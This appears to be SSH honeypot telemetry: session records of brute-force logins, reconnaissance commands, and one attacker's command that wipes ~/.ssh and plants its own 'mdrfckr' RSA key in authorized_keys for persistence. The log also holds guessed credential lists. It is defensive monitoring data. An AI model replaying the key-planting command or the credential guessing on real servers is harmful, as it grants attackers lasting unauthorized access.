  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:45:26.978707 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: oracle / Oracle1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 357645993f83
Client Version: SSH-2.0-Go
Engagement Duration: 0.6s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "357645993f83",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:45:26.978707Z",
  "end_time": "2026-10-09T22:45:27.581212Z",
  "duration": "0.6",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "oracle",
    "pass": "Oracle1234"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:45:04.714246 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lekaren

Record ID: 98585db9ed91
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "98585db9ed91",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:45:04.714246Z",
  "end_time": "2026-10-09T22:45:07.781020Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "lekaren",
      "pass": "lekaren"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
160.119.76.10
2026-10-09 22:44:38.173503 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5049422efbd8
Client Version: Unknown
Engagement Duration: 0.1s
{
  "id": "5049422efbd8",
  "src_ip": "160.119.76.10",
  "start_time": "2026-10-09T22:44:38.173503Z",
  "end_time": "2026-10-09T22:44:38.315153Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
2.57.121.112
2026-10-09 22:44:33.741967 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: augustin

Record ID: b094fe85f474
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "b094fe85f474",
  "src_ip": "2.57.121.112",
  "start_time": "2026-10-09T22:44:33.741967Z",
  "end_time": "2026-10-09T22:44:40.258084Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "augustin",
      "pass": "augustin"
    },
    {
      "user": "augustin",
      "pass": "augustin1"
    },
    {
      "user": "augustin",
      "pass": "augustin123"
    },
    {
      "user": "augustin",
      "pass": "augustin1234"
    },
    {
      "user": "augustin",
      "pass": "augustin12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
183.201.208.25
2026-10-09 22:44:15.080277 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a17027d860e5
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a17027d860e5",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:44:15.080277Z",
  "end_time": "2026-10-09T22:46:15.089937Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:43:46.406583 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sammy

Record ID: ec32b1211c64
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "ec32b1211c64",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:43:46.406583Z",
  "end_time": "2026-10-09T22:43:48.532082Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "sammy",
      "pass": "a"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
14.103.48.24
2026-10-09 22:42:28.399865 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e6d219fed719
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "e6d219fed719",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:42:28.399865Z",
  "end_time": "2026-10-09T22:44:28.413904Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:42:17.822426 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 1234567890

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: eaadf4630b32
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "eaadf4630b32",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:42:17.822426Z",
  "end_time": "2026-10-09T22:42:18.486293Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "1234567890"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
183.201.208.25
2026-10-09 22:41:56.281207 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cd4f53e3b574
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "cd4f53e3b574",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:41:56.281207Z",
  "end_time": "2026-10-09T22:43:56.293632Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:41:11.175480 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: cb340e1649dc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "cb340e1649dc",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:41:11.175480Z",
  "end_time": "2026-10-09T22:43:11.187418Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
183.201.208.25
2026-10-09 22:39:43.322986 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fe68feef3dc8
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "fe68feef3dc8",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:39:43.322986Z",
  "end_time": "2026-10-09T22:41:43.344130Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:39:19.674093 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 33ef25161848
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "33ef25161848",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:39:19.674093Z",
  "end_time": "2026-10-09T22:39:20.338012Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "123456"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
183.201.208.25
2026-10-09 22:37:28.707982 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a6b76dfc78d5
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "a6b76dfc78d5",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:37:28.707982Z",
  "end_time": "2026-10-09T22:39:28.721121Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
14.103.48.24
2026-10-09 22:37:20.378216 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: thomas

Record ID: 57fe112889af
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "57fe112889af",
  "src_ip": "14.103.48.24",
  "start_time": "2026-10-09T22:37:20.378216Z",
  "end_time": "2026-10-09T22:37:22.509827Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "thomas",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
38.22.169.6
2026-10-09 22:36:24.135232 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 33e9b4063e72
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "33e9b4063e72",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:36:24.135232Z",
  "end_time": "2026-10-09T22:36:24.798911Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "12345678"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
161.132.37.136
2026-10-09 22:35:14.423793 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 35d3033f3e4e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "35d3033f3e4e",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:14.423793Z",
  "end_time": "2026-10-09T22:35:15.281632Z",
  "duration": "0.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
161.132.37.136
2026-10-09 22:35:12.437336 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 871321e409c2
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "871321e409c2",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:12.437336Z",
  "end_time": "2026-10-09T22:35:14.290939Z",
  "duration": "1.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
161.132.37.136
2026-10-09 22:35:10.633884 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / azerty123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: d265b94b0a6e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 4.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "d265b94b0a6e",
  "src_ip": "161.132.37.136",
  "start_time": "2026-10-09T22:35:10.633884Z",
  "end_time": "2026-10-09T22:35:15.278579Z",
  "duration": "4.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "azerty123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
183.201.208.25
2026-10-09 22:34:46.073273 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 808a9804f574
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "808a9804f574",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:34:46.073273Z",
  "end_time": "2026-10-09T22:36:46.098457Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
38.22.169.6
2026-10-09 22:33:26.608441 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / hadoop123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ /bin/./uname -s -v -n -r -m
Record ID: 853799c8533b
Client Version: SSH-2.0-Go
Engagement Duration: 0.7s
HASSH Fingerprint: 16443846184eafde36765c9bab2f4397
{
  "id": "853799c8533b",
  "src_ip": "38.22.169.6",
  "start_time": "2026-10-09T22:33:26.608441Z",
  "end_time": "2026-10-09T22:33:27.274176Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "hadoop123"
  },
  "commands": [
    "/bin/./uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "/bin/./uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
183.201.208.25
2026-10-09 22:32:25.590952 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: bb06d05626df
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "bb06d05626df",
  "src_ip": "183.201.208.25",
  "start_time": "2026-10-09T22:32:25.590952Z",
  "end_time": "2026-10-09T22:34:25.617591Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
4.206.92.183
2026-10-09 22:32:00.222986 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / 3245gs5662d34

Record ID: 5554edae530d
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5554edae530d",
  "src_ip": "4.206.92.183",
  "start_time": "2026-10-09T22:32:00.222986Z",
  "end_time": "2026-10-09T22:32:00.725342Z",
  "duration": "0.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}